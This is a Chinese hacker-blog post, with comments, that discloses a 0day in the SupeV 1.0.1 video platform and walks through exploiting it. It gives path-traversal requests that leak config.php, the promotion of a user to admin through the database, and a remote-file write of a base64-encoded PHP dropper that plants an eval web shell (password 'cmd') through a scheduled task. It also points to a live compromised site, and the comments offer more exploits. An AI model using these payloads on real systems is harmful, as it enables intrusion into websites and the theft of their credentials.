SupeV 1.0.1 0DAY

# 鬼仔:作者留言纠正文中的错误

漏洞形成,直接以get方式请求
api/test.php?thumb=../config.php&vid=../../1会把config.php复制到根目录下1.jpg
这里写错了,应该是attachments\thumb\1.jpg写入倒了这里,向上跳4级才是根目录,这里只跳了2级,大家分析下代码就知道了,好多人都说利用不了,下面贴一个站出来给大家看
http://video.worlddiy.net/attachments\thumb\1.jpg
上次匆忙文章没写清楚,还望谅解

来源:WEB安全手册

感谢 ′&廢.的投递

大家好,我是无名

今天发布个discuz旗下产品 “视频播客 SupeV 1.0.1” 0day

漏洞文件:api目录下test.php

直接看代码

$str=file_get_contents( $thumb );//首先第18行用file_get_contents() 读取$thumb参数的文件内容,注意这里也可以读远程文件,
$path = ".".getthumb_path( $vid );//第19行获取路径参数 $vid
$opt_big = array(

"targetfile" => $path.".jpg",

"attach" => $attach['attach'],

"ext" => $attach['extension'],

"ratio" => false,

"width" => THUMB_BIG_WIDTH,

"height" => THUMB_BIG_HEIGHT

);  //24行到39行定义$opt_big和$opt_small数组

@sf_copy( $opt_big['targetfile'], $opt_small['targetfile'] );//紧接着第40行就开始copy了,注意看,把$opt_big数组里的targetfile复制到$opt_small数组的targetfile

漏洞形成,直接以get方式请求

api/test.php?thumb=../config.php&vid=../../1

会把config.php复制到根目录下1.jpg

这样就得到了网站的配置文件,phpmyadmin连上去,如果是root连接,直接导出shell,不会的查查对应文章,这里不再叙述。

如果不是root,就注册个账号,连上去把用户的admgid改成1  在sv_members表里

接下来讲后台获取shell,

前面test.php代码file_get_contents() 可以读取远程文件写入到网站目录

api/test.php?thumb=http://你的空间地址/test.txt&vid=../../../../inc/crons/1

写到inc/crons/1.jpg

test.txt内容

<?php fputs(fopen("111.php","w"),base64_decode("PD9ldmFsKCRfUE9TVFtjbWRdKTs/Pg=="));?>

作用是在当前目录生成111.php 内容是LANKER的一句话,密码cmd

为什么写这里,等下就知道了,进入后台,点上方的辅助工具,新增计划任务
200902272335554116

200902272336065542

200902272336151551
提交就执行了inc/crons/1.jpg内容会在根目录下生成111.php内容是LANKER的一句话,密码cmd
成功拿到shell,完了记得删除那个计划任务,不然网站就打不开了,

不会用的联系我
联系qq:57112848
cainiaokunmm[email protected]
Powered by SupeV 1.0.1  exploit   Found by : 无名

相关日志

楼被抢了 15 层了... 抢座Rss 2.0或者 Trackback

  • 昵称

    感觉自己这个文章写的很烂…..

  • 昵称

    kook1991写的sql_2005_inj 0.1 注入工具不能用了?

    id=dfgaaa%20and%20quotename%28%28Select%200x4A007500730074002E0046006F0072002E00460075006E002E00420079002E006B006F006F006B003100390039003100%29%29%3D0

    抓到的包,解密SQL_Ecode
    0x4A007500730074002E0046006F0072002E00460075006E002E00420079002E006B006F006F006B003100390039003100

    结果竟然是Just.For.Fun.By.kook1991

    我无语了

  • zafe

    借这个主题说下话

    我通过126订阅了你的文章

    可是到现在也没收到

    加到GOOGLE GROUP也不知道怎么联系

    。。。。。。。。。。。。。。

    (常客)

  • ghostzgs

    这个漏洞大哥你是怎么看的呀?api/test.php的这个文件是加了密的呀!

    试了几十个没有一个可以成功的!本机测试也没成功!

    • sExYboy

      我到现在还没DOWN到一个test.php呢,你给个网我看看?
      反而把一个新站的后台密码乱猜出来了….

    • sExYboy

      厄 加密的 求解

  • 无名

    漏洞形成,直接以get方式请求

    api/test.php?thumb=../config.php&vid=../../1会把config.php复制到根目录下1.jpg

    这里写错了,应该是attachments\thumb\1.jpg写入倒了这里,向上跳4级才是根目录,这里只跳了2级,大家分析下代码就知道了,好多人都说利用不了,下面贴一个站出来给大家看

    http://video.worlddiy.net/attachments\thumb\1.jpg

    上次匆忙文章没写清楚,还望谅解,

    • sExYboy

      充分说明我傻到只会复制粘贴…
      但找到了有两个站根目录有1.jpg
      可能有人之前用过“api/test.php?thumb=../config.php&vid=../../../../1”来测试了。

  • 无名

    仔仔,在不在?

    我再发个shopex的0day

    qq:57112848

  • ??

    闷!所下的版本全部经zend加密了,因为以前是商业版,文章作者不错呀,两套系统都是卖钱的!被你找到漏洞了

  • xxx

    zend可以解了

  • ??

    没用过那工具,不知解出来的代码可读性怎样?

  • Spacehacker

    鬼仔~
    无名~
    大家好~对于这个漏洞我测试了,并且写了VB的利用工具~搜索supev利用工具就可以了
    在此感谢无名的0day和鬼仔的blog:)
    谢谢~

  • gg

    这个漏洞应该怎么补呢?官方好像没有出补丁

发表评论